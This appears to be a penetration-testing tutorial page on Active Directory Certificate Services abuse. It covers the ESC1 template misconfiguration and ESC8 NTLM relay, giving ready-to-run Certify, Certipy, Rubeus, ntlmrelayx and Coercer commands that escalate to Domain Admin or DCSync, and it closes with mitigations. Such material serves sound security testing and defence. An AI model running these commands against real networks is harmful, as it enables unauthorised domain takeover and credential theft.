AD CS Abuse

Active Directory Certificate Services (AD CS) is Microsoft's PKI implementation. Misconfigurations in certificate templates and enrollment services can allow attackers to escalate privileges from a standard user to Domain Admin, often with persistence.

Tools of the Trade

ESC1: Misconfigured Certificate Templates

ESC1 occurs when a certificate template allows low-privileged users to enroll and specify a SubjectAltName (SAN). This allows an attacker to request a certificate as any user (e.g., Administrator), which can then be used to request a TGT.

1. Enumeration

Find vulnerable templates. Look for EnrolleeSuppliesSubject: True and Client Authentication EKU.

Certify (Windows):

.\Certify.exe find /vulnerable

Certipy (Linux):

certipy find -u user@corp.local -p password -dc-ip 10.10.10.1 -vulnerable

2. Exploitation

Request a certificate for the Domain Administrator.

Certify:

.\Certify.exe request /ca:DC01.corp.local\corp-DC01-CA /template:VulnerableTemplate /altname:Administrator

3. Authenticate (Pass-the-Certificate)

Convert the certificate (.pfx) to a TGT and NTLM hash.

Rubeus:

.\Rubeus.exe asktgt /user:Administrator /certificate:cert.pfx /password:cert_password /ptt

The Certipy equivalents of all three steps (certipy req, certipy auth), and the ESC4, ESC6, ESC9, ESC10, ESC11 and ESC15 variants with their preconditions, are on ADCS Attacks (05i). That page is the maintained copy; this one shows the ESC1 shape.

ESC8: NTLM Relay to AD CS HTTP Endpoints

If the AD CS server has the "Certificate Authority Web Enrollment" role installed, it exposes an HTTP endpoint. This endpoint does not support NTLM Relay protection (Signing/MIC). Attackers can coerce a Domain Controller to authenticate to them (via PetitPotam/Coercer) and relay that authentication to the AD CS HTTP endpoint to request a certificate for the DC.

1. Identify Web Enrollment

The same certipy find -vulnerable output from step 1 of ESC1 lists the CA's HTTP endpoints — look for "Web Enrollment" in it, and for an HTTP URL that answers without EPA.

2. Setup Relay

Configure ntlmrelayx to target the CA's HTTP endpoint and use the "DomainController" template (or "Machine").

impacket-ntlmrelayx -t http://10.10.10.5/certsrv/certfnsh.asp -smb2support --template DomainController --adcs

3. Coerce Authentication

Force the Domain Controller (10.10.10.1) to authenticate to your attacker machine (10.10.10.99).

python3 Coercer.py -t 10.10.10.1 -l 10.10.10.99

If successful, ntlmrelayx will output a base64 certificate for the Domain Controller machine account. You can use this to DCSync.

Defense & Mitigation

• Disable Unused Templates: Remove templates that are not strictly needed.
• Restrict Enrollment: Ensure "Manager Approval" is required for sensitive templates.
• Remove "Enrollee Supplies Subject": Do not allow users to specify SANs in templates.
• Disable HTTP Web Enrollment: If not needed, remove the role. If needed, enable Extended Protection for Authentication (EPA) and require SSL.
• Monitor: Watch for Event ID 4886 (Certificate Request) and 4887 (Certificate Issued) for sensitive accounts.